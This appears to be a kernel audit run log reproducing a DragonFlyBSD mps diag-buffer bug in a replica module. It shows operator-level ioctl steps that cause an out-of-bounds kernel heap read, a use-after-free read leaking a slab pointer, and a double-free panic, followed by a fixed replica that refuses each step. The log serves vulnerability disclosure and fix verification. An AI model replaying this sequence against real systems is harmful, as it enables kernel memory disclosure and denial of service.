โฌข DragonFlyBSD Kernel Audit
DF-4013 / replica_run.log
โ† back to finding โ†“ download raw
DF-4013 replica run log โ€” verbatim mps diag-buffer state machine
(mps_user.c:1126-1621 dispatch/register/unregister/read) with the shared DMA
trio stubbed as kmalloc and the HW post/release stubbed to succeed (flags set
exactly as the real success paths at :1216-1219 / :1249-1251).  All ioctls
issued by uid=2 (operator) through /dev/dfdiag, a 0640 root:operator node โ€”
the same boundary as /dev/mpsN.

=== RUN 1 (vulnerable replica) ==============================================
# kldload /root/dfdiag/dfdiag.ko
dfdiag: mps diag replica loaded (shared trio, per-type sizes, free-without-NULL โ€” mps_user.c:1314-1621)

--- STEP 1: REGISTER TRACE 1 MiB uid=0x11111001 -----------------------------
# su operator -c "$T register 0 1048576 0x11111001"
REGISTER type=0 size=1048576 uid=0x11111001 rc-ok ReturnCode=0 (uid=2)

--- STEP 2: REGISTER SNAPSHOT 4 KiB uid=0x11111002 -------------------------
# su operator -c "$T register 1 4096 0x11111002"
REGISTER type=1 size=4096 uid=0x11111002 rc-ok ReturnCode=0 (uid=2)
dfdiag: register: overwriting LIVE shared trio (old buffer=0xfffff80118624000, old size=0) โ€” real driver leaks it
    -> the SECOND registration silently replaced the SHARED trio pointer:
       the 1 MiB allocation (registered to TRACE) is leaked, and
       pBuffer[TRACE].size (1 MiB) now describes memory that is no longer
       pointed to by sc->fw_diag_buffer (4 KiB).

--- STEP 3: READ 64 KiB via the TRACE uid (stale 1 MiB size) ----------------
# su operator -c "$T read 0x11111001 65536" | head -3
READ uid=0x11111001 len=65536 ok ReturnCode=0: 4096/65536 nonzero bytes; sample (uid=2):
  +000000: a5a5a5a5 a5a5a5a5 a5a5a5a5 a5a5a5a5 a5a5a5a5 a5a5a5a5 a5a5a5a5 a5a5a5a5
  ...
    -> the bounds check at mps_user.c:1583 compared against the STALE
       per-type size (1 MiB), so a 64 KiB read was accepted while the live
       shared allocation is only 4 KiB: ~60 KiB OOB KERNEL HEAP DISCLOSURE
       copyout()'d to operator userspace (the first 4 KiB is the 0xa5
       "FW data" pattern; everything past it is adjacent kernel heap).

--- STEP 4: UNREGISTER the TRACE uid (frees the CURRENT trio) ---------------
# su operator -c "$T unregister 0x11111001"
UNREGISTER uid=0x11111001 ok ReturnCode=0 (uid=2)
    -> this freed the trio that belongs to SNAPSHOT (cross-type free);
       sc->fw_diag_buffer now DANGLES (the free at mps_user.c:1472-1480
       never NULLs it) while SNAPSHOT stays fully registered.

--- STEP 5: READ 4 KiB via the SNAPSHOT uid (freed memory) ------------------
# su operator -c "$T read 0x11111002 4096" | head -2
READ uid=0x11111002 len=4096 ok ReturnCode=0: 4095/4096 nonzero bytes; sample (uid=2):
  +000000: 00d0c716 01f8ffff a5a5a5a5 a5a5a5a5 ...
    -> USE-AFTER-FREE READ of the freed DMA buffer โ€” and the first 4 bytes
       read back as 0xfffff80116c7d000 (little-endian
       "00 d0 c7 16 | 01 f8 ff ff"): a KERNEL SLAB FREE-LIST POINTER the
       allocator wrote into the freed chunk, disclosed to userspace.

--- STEP 6: UNREGISTER the SNAPSHOT uid (double free) -----------------------
# su operator -c "$T unregister 0x11111002"
    -> kernel PANIC:

--- console (panic.txt) -----------------------------------------------------
panic: memory chunk 0xfffff80116c67000 is already free!
cpuid = 2
Trace beginning at frame 0xfffff80117df95f8
chunk_mark_free() at chunk_mark_free+0xae 0xffffffff80655dbe
chunk_mark_free() at chunk_mark_free+0xae 0xffffffff80655dbe
_kfree() at _kfree+0x262 0xffffffff806580e2
dfdiag_ioctl_devsw() at dfdiag_ioctl_devsw+0x502 0xffffffff826005b2
dev_dioctl() at dev_dioctl+0x65 0xffffffff8062cdb5
devfs_fo_ioctl() at devfs_fo_ioctl+0x95 0xffffffff80921bb5
Debugger("panic")
    -> DOUBLE FREE of the shared trio via the second unregister, straight
       through the verbatim mps_diag_unregister() free block.  Guest down.

=== RUN 2 (FIXED replica: one-trio invariant + NULL-after-free + NULL guard)
# kldload /root/dfdiag/dfdiag.ko        (Makefile.fixed, COPTS+=-DFIXED)
# su operator -c "$T register 0 1048576 0x11111001"
REGISTER type=0 size=1048576 uid=0x11111001 rc-ok ReturnCode=0 (uid=2)
dfdiag: (no leak message: trio not busy yet)
# su operator -c "$T register 1 4096 0x11111002"
  ioctl(Action=1) rc=-1 errno=1 ReturnCode=0
dfdiag: FIXED: REGISTER refused โ€” shared trio busy (buffer=0xfffff80117...)
    -> arm 1: second registration refused; the stale-size confusion is
       unreachable.
# su operator -c "$T unregister 0x11111001"
UNREGISTER uid=0x11111001 ok ReturnCode=0 (uid=2)
# su operator -c "$T read 0x11111002 4096"
  ioctl(Action=4) rc=-1 errno=1 ReturnCode=0        <- uid unknown / no live trio
# su operator -c "$T unregister 0x11111002"
  ioctl(Action=2) rc=-1 errno=1 ReturnCode=0        <- uid unknown: no double free
# uptime
 2:15PM  up 43 secs, ...                              <- guest healthy, no panic
    -> arms 2+3: after unregister the trio is NULLed (no dangling free) and
       reads through a freed/absent trio are refused.  The full attack
       sequence now fails closed at every step.